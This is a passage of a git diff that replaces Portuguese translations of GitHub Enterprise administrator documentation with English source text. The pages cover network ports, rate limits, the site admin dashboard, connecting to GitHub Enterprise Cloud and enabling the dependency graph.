variables.enterprise.management_console %}. Required for basic installation and configuration. | +| 8080 | HTTP | Plain-text web-based {% data variables.enterprise.management_console %}. Not required unless SSL is disabled manually. | +| 122 | SSH | Shell access for {% data variables.product.product_location %}. Required to be open to incoming connections between all nodes in a high availability configuration. The default SSH port (22) is dedicated to Git and SSH application network traffic. | +| 1194/UDP | VPN | Secure replication network tunnel in high availability configuration. Required to be open for communication between all nodes in the configuration.| +| 123/UDP| NTP | Required for time protocol operation. | +| 161/UDP | SNMP | Required for network monitoring protocol operation. | -| Porta | Serviço | Descrição | -| -------- | ------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| 8443 | HTTPS | {% data variables.enterprise.management_console %} seguro na web. Obrigatória para instalação e configuração básicas. | -| 8080 | HTTP | {% data variables.enterprise.management_console %} de texto simples na web. Não é obrigatória, a menos que o SSL seja desativado manualmente. | -| 122 | SSH | Acesso de shell à {% data variables.product.product_location %}. É obrigatório ficar aberta para conexões de entrada de todos os outros nós em configurações de Alta Disponibilidade. A porta SSH padrão (22) é dedicada ao tráfego de rede de aplicativos Git e SSH. | -| 1194/UDP | VPN | Túnel de rede de replicação segura em configurações de Alta Disponibilidade. É obrigatório ficar aberta para todos os outros nós na configuração. | -| 123/UDP | NTP | Obrigatória para operações de protocolo de tempo. | -| 161/UDP | SNMP | Obrigatória para operações de protocolo de monitoramento de rede. | +## Application ports for end users -## Portas de aplicativo para usuários finais +Application ports provide web application and Git access for end users. -As portas de aplicativo fornecem aplicativos da web e acesso dos usuários finais ao Git. - -| Porta | Serviço | Descrição | -| ----- | ------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| 443 | HTTPS | Acesso ao aplicativo da web e ao Git por HTTPS. | -| 80 | HTTP | Acesso ao aplicativo da web. Todas as solicitações são redirecionadas para a porta HTTPS quando o SSL está ativado. | -| 22 | SSH | Acesso ao Git por SSH. Compatível com operações de clonagem, fetch e push em repositórios públicos e privados. | -| 9418 | Git | A porta do protocolo Git é compatível com operações de clonagem e fetch em repositórios públicos com comunicação de rede não criptografada. {% data reusables.enterprise_installation.when-9418-necessary %} +| Port | Service | Description | +|---|---|---| +| 443 | HTTPS | Access to the web application and Git over HTTPS. | +| 80 | HTTP | Access to the web application. All requests are redirected to the HTTPS port when SSL is enabled. | +| 22 | SSH | Access to Git over SSH. Supports clone, fetch, and push operations to public and private repositories. | +| 9418 | Git | Git protocol port supports clone and fetch operations to public repositories with unencrypted network communication. {% data reusables.enterprise_installation.when-9418-necessary %} | {% data reusables.enterprise_installation.terminating-tls %} -## Portas de e-mail +## Email ports -As portas de e-mail devem estar acessíveis diretamente ou via retransmissão para oferecer suporte de e-mail aos usuários finais. +Email ports must be accessible directly or via relay for inbound email support for end users. -| Porta | Serviço | Descrição | -| ----- | ------- | ------------------------------------------- | -| 25 | SMTP | Suporte a SMTP com criptografia (STARTTLS). | +| Port | Service | Description | +|---|---|---| +| 25 | SMTP | Support for SMTP with encryption (STARTTLS). | diff --git a/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/configuring-rate-limits.md b/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/configuring-rate-limits.md new file mode 100644 index 0000000000..95326574a6 --- /dev/null +++ b/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/configuring-rate-limits.md @@ -0,0 +1,63 @@ +--- +title: Configuring rate limits +intro: 'You can set rate limits for {% data variables.product.prodname_ghe_server %} using the {% data variables.enterprise.management_console %}.' +redirect_from: + - /enterprise/admin/installation/configuring-rate-limits + - /enterprise/admin/configuration/configuring-rate-limits + - /admin/configuration/configuring-rate-limits +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - Infrastructure + - Performance +--- +## Enabling rate limits for {% data variables.product.prodname_enterprise_api %} + +Enabling rate limits on {% data variables.product.prodname_enterprise_api %} can prevent overuse of resources by individual or unauthenticated users. For more information, see "[Resources in the REST API](/rest/overview/resources-in-the-rest-api#rate-limiting)." + +{% ifversion ghes %} +You can exempt a list of users from API rate limits using the `ghe-config` utility in the administrative shell. For more information, see "[Command-line utilities](/enterprise/admin/configuration/command-line-utilities#ghe-config)." +{% endif %} + +{% note %} + +**Note:** The {% data variables.enterprise.management_console %} lists the time period (per minute or per hour) for each rate limit. + +{% endnote %} + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +2. Under "Rate Limiting", select **Enable HTTP API Rate Limiting**. +![Checkbox for enabling API rate limiting](/assets/images/enterprise/management-console/api-rate-limits-checkbox.png) +3. Type limits for authenticated and unauthenticated requests for each API, or accept the pre-filled default limits. +{% data reusables.enterprise_management_console.save-settings %} + +## Enabling secondary rate limits + +Setting secondary rate limits protects the overall level of service on {% data variables.product.product_location %}. + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +{% ifversion ghes > 3.1 %} +2. Under "Rate Limiting", select **Enable Secondary Rate Limiting**. + ![Checkbox for enabling secondary rate limiting](/assets/images/enterprise/management-console/secondary-rate-limits-checkbox.png) +{% else %} +2. Under "Rate Limiting", select **Enable Abuse Rate Limiting**. + ![Checkbox for enabling abuse rate limiting](/assets/images/enterprise/management-console/abuse-rate-limits-checkbox.png) +{% endif %} +3. Type limits for Total Requests, CPU Limit, and CPU Limit for Searching, or accept the pre-filled default limits. +{% data reusables.enterprise_management_console.save-settings %} + +## Enabling Git rate limits + +You can apply Git rate limits per repository network or per user ID. Git rate limits are expressed in concurrent operations per minute, and are adaptive based on the current CPU load. + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +2. Under "Rate Limiting", select **Enable Git Rate Limiting**. +![Checkbox for enabling Git rate limiting](/assets/images/enterprise/management-console/git-rate-limits-checkbox.png) +3. Type limits for each repository network or user ID. + ![Fields for repository network and user ID limits](/assets/images/enterprise/management-console/example-git-rate-limits.png) +{% data reusables.enterprise_management_console.save-settings %} diff --git a/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/site-admin-dashboard.md b/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/site-admin-dashboard.md new file mode 100644 index 0000000000..610a1878cc --- /dev/null +++ b/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/site-admin-dashboard.md @@ -0,0 +1,229 @@ +--- +title: Site admin dashboard +intro: '{% data reusables.enterprise_site_admin_settings.about-the-site-admin-dashboard %}' +redirect_from: + - /enterprise/admin/articles/site-admin-dashboard/ + - /enterprise/admin/installation/site-admin-dashboard + - /enterprise/admin/configuration/site-admin-dashboard + - /admin/configuration/site-admin-dashboard +versions: + ghes: '*' + ghae: '*' +type: reference +topics: + - Enterprise + - Fundamentals +--- +To access the dashboard, in the upper-right corner of any page, click {% octicon "rocket" aria-label="The rocket ship" %}. +![Rocket ship icon for accessing site admin settings](/assets/images/enterprise/site-admin-settings/access-new-settings.png) + +{% ifversion ghes or ghae %} + +## Search + +Refer to this section of the site admin dashboard to search for users and repositories, and to query the [audit log](#audit-log). + +{% else %} + +## License info & search + +Refer to this section of the site admin dashboard to check your current {% data variables.product.prodname_enterprise %} license; to search for users and repositories; and to query the [audit log](#audit-log). + +{% endif %} +{% ifversion ghes %} +## {% data variables.enterprise.management_console %} + +Here you can launch the {% data variables.enterprise.management_console %} to manage virtual appliance settings such as the domain, authentication, and SSL. +{% endif %} +## Explore + +Data for GitHub's [trending page][] is calculated into daily, weekly, and monthly time spans for both repositories and developers. You can see when this data was last cached and queue up new trending calculation jobs from the **Explore** section. + + [trending page]: https://github.com/blog/1585-explore-what-is-trending-on-github + +## Audit log + +{% data variables.product.product_name %} keeps a running log of audited actions that you can query. + +By default, the audit log shows you a list of all audited actions in reverse chronological order. You can filter this list by entering key-value pairs in the **Query** text box and then clicking **Search**, as explained in "[Searching the audit log](/enterprise/{{ currentVersion }}/admin/guides/installation/searching-the-audit-log)." + +For more information on audit logging in general, see "[Audit logging](/enterprise/{{ currentVersion }}/admin/guides/installation/audit-logging)." For a full list of audited actions, see "[Audited actions](/enterprise/{{ currentVersion }}/admin/guides/installation/audited-actions)." + +## Reports + +If you need to get information on the users, organizations, and repositories in {% data variables.product.product_location %}, you would ordinarily fetch JSON data through the [GitHub API](/rest). Unfortunately, the API may not provide all of the data that you want and it requires a bit of technical expertise to use. The site admin dashboard offers a **Reports** section as an alternative, making it easy for you to download CSV reports with most of the information that you are likely to need for users, organizations, and repositories. + +Specifically, you can download CSV reports that list + +- all users +- all users who have been active within the last month +- all users who have been inactive for one month or more +- all users who have been suspended +- all organizations +- all repositories + +You can also access these reports programmatically via standard HTTP authentication with a site admin account. You must use a personal access token with the `site_admin` scope. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)." + +For example, here is how you would download the "all users" report using cURL: + +```shell +curl -L -u username:token http(s)://hostname/stafftools/reports/all_users.csv +``` + +To access the other reports programmatically, replace `all_users` with `active_users`, `dormant_users`, `suspended_users`, `all_organizations`, or `all_repositories`. + +{% note %} + +**Note:** The initial `curl` request will return a 202 HTTP response if there are no cached reports available; a report will be generated in the background. You can send a second request to download the report. You can use a password or an OAuth token with the `site_admin` scope in place of a password. + +{% endnote %} + +### User reports + +Key | Description +-----------------:| ------------------------------------------------------------ +`created_at` | When the user account was created (as an ISO 8601 timestamp) +`id` | Account ID for the user or organization +`login` | Account's login name +`email` | Account's primary email address +`role` | Whether the account is an admin or an ordinary user +`suspended?` | Whether the account has been suspended +`last_logged_ip` | Most recent IP address to log into the account +`repos` | Number of repositories owned by the account +`ssh_keys` | Number of SSH keys registered to the account +`org_memberships` | Number of organizations to which the account belongs +`dormant?` | Whether the account is dormant +`last_active` | When the account was last active (as an ISO 8601 timestamp) +`raw_login` | Raw login information (in JSON format) +`2fa_enabled?` | Whether the user has enabled two-factor authentication + +### Organization reports + +Key | Description +--------------:| ------------------------------------ +`id` | Organization ID +`created_at` | When the organization was created +`login` | Organization's login name +`email` | Organization's primary email address +`owners` | Number of organization owners +`members` | Number of organization members +`teams` | Number of organization teams +`repos` | Number of organization repositories +`2fa_required?`| Whether the organization requires two-factor authentication + +### Repository reports + +Key | Description +---------------:| ------------------------------------------------------------ +`created_at` | When the repository was created +`owner_id` | ID of the repository's owner +`owner_type` | Whether the repository is owned by a user or an organization +`owner_name` | Name of the repository's owner +`id` | Repository ID +`name` | Repository name +`visibility` | Whether the repository is public or private +`readable_size` | Repository's size in a human-readable format +`raw_size` | Repository's size as a number +`collaborators` | Number of repository collaborators +`fork?` | Whether the repository is a fork +`deleted?` | Whether the repository has been deleted + +{% ifversion ghes %} +## Indexing + +GitHub's [code search][] features are powered by [ElasticSearch][]. This section of the site admin dashboard shows you the current status of your ElasticSearch cluster and provides you with several tools to control the behavior of searching and indexing. These tools are split into the following three categories. + + [Code Search]: https://github.com/blog/1381-a-whole-new-code-search + [ElasticSearch]: http://www.elasticsearch.org/ + +### Code search + +This allows you to enable or disable both search and index operations on source code. + +### Code search index repair + +This controls how the code search index is repaired. You can + +- enable or disable index repair jobs +- start a new index repair job +- reset all index repair state + +{% data variables.product.prodname_enterprise %} uses repair jobs to reconcile the state of the search index with data stored in a database (issues, pull requests, repositories, and users) and data stored in Git repositories (source code). This happens when + +- a new search index is created; +- missing data needs to be backfilled; or +- old search data needs to be updated. + +In other words, repair jobs are started as needed and run in the background—they are not scheduled by site admins in any way. + +Furthermore, repair jobs use a "repair offset" for parallelization. This is an offset into the database table for the record being reconciled. Multiple background jobs can synchronize work based on this offset. + +A progress bar shows the current status of a repair job across all of its background workers. It is the percentage difference of the repair offset with the highest record ID in the database. Don't worry about the value shown in the progress bar after a repair job has completed: because it shows the difference between the repair offset and the highest record ID in the database, it will decrease as more repositories are added to {% data variables.product.product_location %} even though those repositories are actually indexed. + +You can start a new code-search index repair job at any time. It will use a single CPU as it reconciles the search index with database and Git repository data. To minimize the effects this will have on I/O performance and reduce the chances of operations timing out, try to run a repair job during off-peak hours first. Monitor your system's load averages and CPU usage with a utility like `top`; if you don't notice any significant changes, it should be safe to run an index repair job during peak hours, as well. + +### Issues index repair + +This controls how the [Issues][] index is repaired. You can + + [Issues]: https://github.com/blog/831-issues-2-0-the-next-generation + +- enable or disable index repair jobs +- start a new index repair job +- reset all index repair state +{% endif %} +## Reserved logins + +Certain words are reserved for internal use in {% data variables.product.product_location %}, which means that these words cannot be used as usernames. + +For example, the following words are reserved, among others: + +- `admin` +- `enterprise` +- `login` +- `staff` +- `support` + +For the full list or reserved words, navigate to "Reserved logins" in the site admin dashboard. + +{% ifversion ghes or ghae %} + +## Enterprise overview + +Refer to this section of the site admin dashboard to manage organizations, people, policies, and settings. + +{% endif %} + +## Repositories + +This is a list of the repositories on {% data variables.product.product_location %}. You can click on a repository name and access functions for administering the repository. + +- [Blocking force pushes to a repository](/enterprise/{{ currentVersion }}/admin/guides/developer-workflow/blocking-force-pushes-to-a-repository/) +- [Configuring {% data variables.large_files.product_name_long %}](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-git-large-file-storage/#configuring-git-large-file-storage-for-an-individual-repository) +- [Archiving and unarchiving repositories](/enterprise/{{ currentVersion }}/admin/guides/user-management/archiving-and-unarchiving-repositories/) + +## All users + +Here you can see all of the users on {% data variables.product.product_location %}, and [initiate an SSH key audit](/enterprise/{{ currentVersion }}/admin/guides/user-management/auditing-ssh-keys). + +## Site admins + +Here you can see all of the administrators on {% data variables.product.product_location %}, and [initiate an SSH key audit](/enterprise/{{ currentVersion }}/admin/guides/user-management/auditing-ssh-keys). + +## Dormant users +{% ifversion ghes %} +Here you can see and [suspend](/enterprise/{{ currentVersion }}/admin/guides/user-management/suspending-and-unsuspending-users) all of the inactive users on {% data variables.product.product_location %}. A user account is considered to be inactive ("dormant") when it: +{% endif %} +{% ifversion ghae %} +Here you can see and suspend all of the inactive users on {% data variables.product.product_location %}. A user account is considered to be inactive ("dormant") when it: +{% endif %} + +- Has existed for longer than the dormancy threshold that's set for {% data variables.product.product_location %}. +- Has not generated any activity within that time period. +- Is not a site administrator. + +{% data reusables.enterprise_site_admin_settings.dormancy-threshold %} For more information, see "[Managing dormant users](/enterprise/{{ currentVersion }}/admin/guides/user-management/managing-dormant-users/#configuring-the-dormancy-threshold)." + +## Suspended users + +Here you can see all of the users who have been suspended on {% data variables.product.product_location %}, and [initiate an SSH key audit](/enterprise/{{ currentVersion }}/admin/guides/user-management/auditing-ssh-keys). diff --git a/translations/pt-BR/content/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud.md b/translations/pt-BR/content/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud.md new file mode 100644 index 0000000000..52b99fa99f --- /dev/null +++ b/translations/pt-BR/content/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud.md @@ -0,0 +1,86 @@ +--- +title: Connecting your enterprise account to GitHub Enterprise Cloud +shortTitle: Connect enterprise accounts +intro: 'After you enable {% data variables.product.prodname_github_connect %}, you can share specific features and workflows between {% data variables.product.product_location %} and {% data variables.product.prodname_ghe_cloud %}.' +redirect_from: + - /enterprise/admin/guides/developer-workflow/connecting-github-enterprise-to-github-com/ + - /enterprise/admin/guides/developer-workflow/connecting-github-enterprise-server-to-github-com + - /enterprise/admin/developer-workflow/connecting-github-enterprise-server-to-githubcom/ + - /enterprise/admin/installation/connecting-github-enterprise-server-to-github-enterprise-cloud + - /enterprise/admin/configuration/connecting-github-enterprise-server-to-github-enterprise-cloud + - /admin/configuration/connecting-github-enterprise-server-to-github-enterprise-cloud + - /admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/connecting-github-enterprise-server-to-github-enterprise-cloud +permissions: 'Enterprise owners who are also owners of a {% data variables.product.prodname_ghe_cloud %} organization or enterprise account can enable {% data variables.product.prodname_github_connect %}.' +versions: + ghes: '*' + ghae: next +type: how_to +topics: + - Enterprise + - GitHub Connect + - Infrastructure + - Networking +--- + +{% data reusables.github-connect.beta %} + +## About {% data variables.product.prodname_github_connect %} + +To enable {% data variables.product.prodname_github_connect %}, you must configure the connection in both {% data variables.product.product_location %} and in your {% data variables.product.prodname_ghe_cloud %} organization or enterprise account. + +{% ifversion ghes %} +To configure a connection, your proxy configuration must allow connectivity to `github.com` and `api.github.com`. For more information, see "[Configuring an outbound web proxy server](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-an-outbound-web-proxy-server)." +{% endif %} + +After enabling {% data variables.product.prodname_github_connect %}, you will be able to enable features such as unified search and unified contributions. For more information about all of the features available, see "[Managing connections between your enterprise accounts](/admin/configuration/managing-connections-between-your-enterprise-accounts)." + +When you connect {% data variables.product.product_location %} to {% data variables.product.prodname_ghe_cloud %}, a record on {% data variables.product.prodname_dotcom_the_website %} stores information about the connection: +{% ifversion ghes %} +- The public key portion of your {% data variables.product.prodname_ghe_server %} license +- A hash of your {% data variables.product.prodname_ghe_server %} license +- The customer name on your {% data variables.product.prodname_ghe_server %} license +- The version of {% data variables.product.product_location_enterprise %}{% endif %} +- The hostname of your {% data variables.product.product_name %} instance +- The organization or enterprise account on {% data variables.product.prodname_dotcom_the_website %} that's connected to {% data variables.product.product_location %} +- The authentication token that's used by {% data variables.product.product_location %} to make requests to {% data variables.product.prodname_dotcom_the_website %} + +Enabling {% data variables.product.prodname_github_connect %} also creates a {% data variables.product.prodname_github_app %} owned by your {% data variables.product.prodname_ghe_cloud %} organization or enterprise account. {% data variables.product.product_name %} uses the {% data variables.product.prodname_github_app %}'s credentials to make requests to {% data variables.product.prodname_dotcom_the_website %}. +{% ifversion ghes %} +{% data variables.product.prodname_ghe_server %} stores credentials from the {% data variables.product.prodname_github_app %}. These credentials will be replicated to any high availability or clustering environments, and stored in any backups, including snapshots created by {% data variables.product.prodname_enterprise_backup_utilities %}. +- An authentication token, which is valid for one hour +- A private key, which is used to generate a new authentication token +{% endif %} + +Enabling {% data variables.product.prodname_github_connect %} will not allow {% data variables.product.prodname_dotcom_the_website %} users to make changes to {% data variables.product.product_name %}. + +For more information about managing enterprise accounts using the GraphQL API, see "[Enterprise accounts](/graphql/guides/managing-enterprise-accounts)." +## Enabling {% data variables.product.prodname_github_connect %} + +{% ifversion ghes %} +1. Sign in to {% data variables.product.product_location %} and {% data variables.product.prodname_dotcom_the_website %}. +{% data reusables.enterprise-accounts.access-enterprise %}{% ifversion ghes < 3.1 %}{% data reusables.enterprise-accounts.settings-tab %}{% endif %}{% data reusables.enterprise-accounts.github-connect-tab %}{% else %} +1. Sign in to {% data variables.product.product_location %} and {% data variables.product.prodname_dotcom_the_website %}. +{% data reusables.enterprise-accounts.access-enterprise %}{% data reusables.enterprise-accounts.github-connect-tab %}{% endif %} +1. Under "{% data variables.product.prodname_github_connect %} is not enabled yet", click **Enable {% data variables.product.prodname_github_connect %}**. By clicking **Enable {% data variables.product.prodname_github_connect %}**, you agree to the "{% data variables.product.prodname_dotcom %} Terms for Additional Products and Features." +{% ifversion ghes %} + ![Enable GitHub Connect button](/assets/images/enterprise/business-accounts/enable-github-connect-button.png){% else %} + ![Enable GitHub Connect button](/assets/images/enterprise/github-ae/enable-github-connect-button.png) +{% endif %} +1. Next to the enterprise account or organization you'd like to connect, click **Connect**. + ![Connect button next to an enterprise account or business](/assets/images/enterprise/business-accounts/choose-enterprise-or-org-connect.png) + +## Disconnecting a {% data variables.product.prodname_ghe_cloud %} organization or enterprise account from your enterprise account + +When you disconnect from {% data variables.product.prodname_ghe_cloud %}, the {% data variables.product.prodname_github_connect %} {% data variables.product.prodname_github_app %} is deleted from your enterprise account or organization and credentials stored on {% data variables.product.product_location %} are deleted. + +{% data reusables.enterprise-accounts.access-enterprise %}{% ifversion ghes < 3.1 %}{% data reusables.enterprise-accounts.settings-tab %}{% endif %}{% data reusables.enterprise-accounts.github-connect-tab %} +1. Next to the enterprise account or organization you'd like to disconnect, click **Disable {% data variables.product.prodname_github_connect %}**. +{% ifversion ghes %} + ![Disable GitHub Connect button next to an enterprise account or organization name](/assets/images/enterprise/business-accounts/disable-github-connect-button.png) +1. Read the information about disconnecting and click **Disable {% data variables.product.prodname_github_connect %}**. + ![Modal with warning information about disconnecting and confirmation button](/assets/images/enterprise/business-accounts/confirm-disable-github-connect.png) +{% else %} + ![Disable GitHub Connect button next to an enterprise account or organization name](/assets/images/enterprise/github-ae/disable-github-connect-button.png) +1. Read the information about disconnecting and click **Disable {% data variables.product.prodname_github_connect %}**. + ![Modal with warning information about disconnecting and confirmation button](/assets/images/enterprise/github-ae/confirm-disable-github-connect.png) +{% endif %} diff --git a/translations/pt-BR/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md b/translations/pt-BR/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md index 7b97cb7b1a..7ae65dd0ef 100644 --- a/translations/pt-BR/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md +++ b/translations/pt-BR/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md @@ -1,7 +1,7 @@ --- -title: Habilitando o gráfico de dependências e os alertas de dependências na sua conta corporativa -intro: 'Você pode conectar {% data variables.product.product_location %} a {% data variables.product.prodname_ghe_cloud %} e habilitar o gráfico de dependências e alertas de {% data variables.product.prodname_dependabot %} em repositórios na sua instância.' -shortTitle: Habilitar a análise de dependências +title: Enabling the dependency graph and Dependabot alerts on your enterprise account +intro: 'You can connect {% data variables.product.product_location %} to {% data variables.product.prodname_ghe_cloud %} and enable the dependency graph and {% data variables.product.prodname_dependabot_alerts %} in repositories in your instance.' +shortTitle: Enable dependency analysis redirect_from: - /enterprise/admin/installation/enabling-security-alerts-for-vulnerable-dependencies-on-github-enterprise-server - /enterprise/admin/configuration/enabling-security-alerts-for-vulnerable-dependencies-on-github-enterprise-server @@ -9,7 +9,7 @@ redirect_from: - /admin/configuration/enabling-alerts-for-vulnerable-dependencies-on-github-enterprise-server - /admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/enabling-alerts-for-vulnerable-dependencies-on-github-enterprise-server - /admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-alerts-for-vulnerable-dependencies-on-github-enterprise-server -permissions: 'Enterprise owners who are also owners of the connected {% data variables.product.prodname_ghe_cloud %} organization or enterprise account can enable the dependency graph and {% data variables.product.prodname_dependabot %} alerts on {% data variables.product.product_location %}.' +permissions: 'Enterprise owners who are also owners of the connected {% data variables.product.prodname_ghe_cloud %} organization or enterprise account can enable the dependency graph and {% data variables.product.prodname_dependabot_alerts %} on {% data variables.product.product_location %}.' versions: ghes: '*' ghae: issue-4864 @@ -20,96 +20,99 @@ topics: - Dependency graph - Dependabot --- - -## Sobre alertas para dependências vulneráveis no {% data variables.product.product_location %} +## About alerts for vulnerable dependencies on {% data variables.product.product_location %} {% data reusables.dependabot.dependabot-alerts-beta %} -{% data variables.product.prodname_dotcom %} identifica dependências vulneráveis nos repositórios e cria {% data variables.product.prodname_dependabot_alerts %} em {% data variables.product.product_location %}, usando: +{% data variables.product.prodname_dotcom %} identifies vulnerable dependencies in repositories and creates {% data variables.product.prodname_dependabot_alerts %} on {% data variables.product.product_location %}, using: -- Dados do {% data variables.product.prodname_advisory_database %} -- O serviço gráfico de dependências +- Data from the {% data variables.product.prodname_advisory_database %} +- The dependency graph service -Para obter mais informações sobre essas funcionalidades, consulte "[Sobre o gráfico de dependências](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)" e "[Sobre alertas para dependências vulneráveis](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)". +For more information about these features, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)" and "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)." -### Sobre a sincronização de dados de {% data variables.product.prodname_advisory_database %} +### About synchronization of data from the {% data variables.product.prodname_advisory_database %} -{% data reusables.repositories.tracks-vulnerabilities %} +{% data reusables.repositories.tracks-vulnerabilities %} -Você pode conectar-se {% data variables.product.product_location %} a {% data variables.product.prodname_dotcom_the_website %} com {% data variables.product.prodname_github_connect %}. Uma vez conectados, os dados de vulnerabilidade são sincronizados de {% data variables.product.prodname_advisory_database %} para sua instância uma vez a cada hora. Também é possível sincronizar os dados de vulnerabilidade manualmente a qualquer momento. Nenhum código ou informações sobre o código da {% data variables.product.product_location %} são carregados para o {% data variables.product.prodname_dotcom_the_website %}. +You can connect {% data variables.product.product_location %} to {% data variables.product.prodname_dotcom_the_website %} with {% data variables.product.prodname_github_connect %}. Once connected, vulnerability data is synced from the {% data variables.product.prodname_advisory_database %} to your instance once every hour. You can also choose to manually sync vulnerability data at any time. No code or information about code from {% data variables.product.product_location %} is uploaded to {% data variables.product.prodname_dotcom_the_website %}. -### Sobre a geração de {% data variables.product.prodname_dependabot_alerts %} +### About generation of {% data variables.product.prodname_dependabot_alerts %} -Se você habilitar a detecção de vulnerabilidade, quando {% data variables.product.product_location %} recebe informações sobre uma vulnerabilidade, ela irá identificar os repositórios na sua instância que usam a versão afetada da dependência e irá gerar {% data variables.product.prodname_dependabot_alerts %}. Você pode escolher se quer ou não notificar os usuários automaticamente sobre o novo {% data variables.product.prodname_dependabot_alerts %}. +If you enable vulnerability detection, when {% data variables.product.product_location %} receives information about a vulnerability, it identifies repositories in your instance that use the affected version of the dependency and generates {% data variables.product.prodname_dependabot_alerts %}. You can choose whether or not to notify users automatically about new {% data variables.product.prodname_dependabot_alerts %}. -## Habilitando o gráfico de dependências e {% data variables.product.prodname_dependabot_alerts %} para dependências vulneráveis em {% data variables.product.product_location %} +## Enabling the dependency graph and {% data variables.product.prodname_dependabot_alerts %} for vulnerable dependencies on {% data variables.product.product_location %} -### Pré-requisitos +### Prerequisites -Para {% data variables.product.product_location %} detectar dependências vulneráveis e gerar {% data variables.product.prodname_dependabot_alerts %}: -- Você deve conectar {% data variables.product.product_location %} a {% data variables.product.prodname_dotcom_the_website %}. {% ifversion ghae %}Isso também habilita o serviço do gráfico de dependências. {% endif %}{% ifversion ghes or ghae-next %}Para obter mais informações, consulte "[Conectando a conta corporativa ao {% data variables.product.prodname_ghe_cloud %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)".{% endif %} -{% ifversion ghes %}- Você deve habilitar o serviço do gráfico de dependências.{% endif %} -- Você deve habilitar a digitalização de vulnerabilidade. +For {% data variables.product.product_location %} to detect vulnerable dependencies and generate {% data variables.product.prodname_dependabot_alerts %}: +- You must connect {% data variables.product.product_location %} to {% data variables.product.prodname_dotcom_the_website %}. {% ifversion ghae %}This also enables the dependency graph service. {% endif %}{% ifversion ghes or ghae-next %}For more information, see "[Connecting your enterprise account to {% data variables.product.prodname_ghe_cloud %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)."{% endif %} +{% ifversion ghes %}- You must enable the dependency graph service.{% endif %} +- You must enable vulnerability scanning. {% ifversion ghes %} {% ifversion ghes > 3.1 %} -Você pode habilitar o gráfico de dependências por meio do {% data variables.enterprise.management_console %} ou do shell administrativo. Recomendamos que você siga o encaminhamento de {% data variables.enterprise.management_console %} a menos que {% data variables.product.product_location %} use clustering. +You can enable the dependency graph via the {% data variables.enterprise.management_console %} or the administrative shell. We recommend you follow the {% data variables.enterprise.management_console %} route unless {% data variables.product.product_location %} uses clustering. -### Habilitando o gráfico de dependências por meio do {% data variables.enterprise.management_console %} +### Enabling the dependency graph via the {% data variables.enterprise.management_console %} {% data reusables.enterprise_site_admin_settings.sign-in %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.advanced-security-tab %} -1. Em "Segurança", clique em **Gráfico de dependência**. ![Caixa de seleção para habilitar ou desabilitar o gráfico de dependências](/assets/images/enterprise/3.2/management-console/enable-dependency-graph-checkbox.png) +1. Under "Security," click **Dependency graph**. +![Checkbox to enable or disable the dependency graph](/assets/images/enterprise/3.2/management-console/enable-dependency-graph-checkbox.png) {% data reusables.enterprise_management_console.save-settings %} -1. Clique **Visit your instance** (Visite sua instância). +1. Click **Visit your instance**. -### Habilitando o gráfico de dependências por meio do shell administrativo +### Enabling the dependency graph via the administrative shell {% endif %}{% ifversion ghes < 3.2 %} -### Habilitar o gráfico de dependências +### Enabling the dependency graph {% endif %} {% data reusables.enterprise_site_admin_settings.sign-in %} -1. No shell administrativo, habilite o gráfico de dependências em {% data variables.product.product_location %}: +1. In the administrative shell, enable the dependency graph on {% data variables.product.product_location %}: ``` shell $ {% ifversion ghes > 3.1 %}ghe-config app.dependency-graph.enabled true{% else %}ghe-config app.github.dependency-graph-enabled true{% endif %} ``` {% note %} - **Observação**: Para obter mais informações sobre como habilitar o acesso ao shell administrativo via SSH, veja "[Acessar o shell administrativo (SSH)](/enterprise/{{ currentVersion }}/admin/configuration/accessing-the-administrative-shell-ssh)". + **Note**: For more information about enabling access to the administrative shell via SSH, see "[Accessing the administrative shell (SSH)](/enterprise/{{ currentVersion }}/admin/configuration/accessing-the-administrative-shell-ssh)." {% endnote %} -1. Aplique a configuração. +1. Apply the configuration. ```shell $ ghe-config-apply ``` -1. Volte para o {% data variables.product.prodname_ghe_server %}. +1. Return to {% data variables.product.prodname_ghe_server %}. {% endif %} -### Habilitar o {% data variables.product.prodname_dependabot_alerts 